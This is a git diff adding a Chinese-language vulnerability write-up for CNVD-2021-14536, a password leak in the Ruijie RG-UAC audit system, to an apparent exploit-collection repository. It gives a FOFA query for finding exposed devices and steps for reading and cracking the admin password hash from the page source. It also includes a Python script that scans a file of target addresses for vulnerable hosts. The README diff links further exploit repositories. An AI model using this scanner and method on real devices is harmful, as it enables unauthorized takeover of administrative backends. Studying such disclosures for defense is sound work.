add CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞

CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞.md

@@ -0,0 +1,84 @@
+## CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞
+
+#### 漏洞描述
+
+锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台
+
+#### 漏洞影响
+
+锐捷RG-UAC统一上网行为管理审计系统
+
+#### 漏洞复现
+
+使用FOFA语句包含关键字查找FOFA语句（仅供学习参考，请勿非法利用）
+`title="RG-UAC登录页面" && body="admin"`
+
+登录页面如下: 
+
+![](./img/78.png)
+
+F12查看网页源码搜索关键字  admin 
+
+![](./img/79.png)
+
+使用 password值 md5解密 
+
+![](./img/80.png)
+
+使用admin作为用户名，破解的密码即可登录后台系统
+
+![](./img/81.png)
+
+#### 漏洞利用POC 
+
+```python3
+import requests
+import sys
+import random
+import re
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+def title():
+    print('+------------------------------------------')
+    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
+    print('+  \033[34mVersion: 锐捷RG-UAC统一上网行为管理审计系统                             \033[0m')
+    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
+    print('+  \033[36mFile         >>> ip.txt                             \033[0m')
+    print('+------------------------------------------')
+
+def POC_1(target_url):
+    vuln_url = target_url
+    headers = {
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
+    }
+    try:
+        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
+        if "super_admin" in response.text and "password" in response.text and response.status_code == 200:
+            print("\033[32m[o] 目标 {}存在漏洞 ,F12查看源码获取密码md5值 \033[0m".format(target_url))
+        else:
+            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
+    except Exception as e:
+        print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
+
+def Scan(file_name):
+    with open(file_name, "r", encoding='utf8') as scan_url:
+        for url in scan_url:
+            if url[:4] != "http":
+                url = "http://" + url
+            url = url.strip('\n')
+            try:
+                POC_1(url)
+
+            except Exception as e:
+                print("\033[31m[x] 请求报错 \033[0m".format(e))
+                continue
+
+if __name__ == '__main__':
+    title()
+    file_name  = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
+    Scan(file_name)
+```
+
+来源：http://wiki.peiqi.tech/ 
+

README.md

@@ -35,6 +35,7 @@
 - [dlink-dir610-exploits-Exploits for CVE-2020-9376 and CVE-2020-9377](https://github.com/renatoalencar/dlink-dir610-exploits)
 - [wacker：一组脚本，可辅助对WPA3接入点执行在线词典攻击](https://github.com/blunderbuss-wctf/wacker)
 - [CVE-2020-24581 D-Link DSL-2888A 远程命令执行漏洞分析](./books/CVE-2020-24581%20D-Link%20DSL-2888A%20远程命令执行漏洞分析.pdf)-[原地址](https://www.anquanke.com/post/id/229323)
+- [CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞](./CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞.md)
 
 ## <span id="head4">Web APP</span>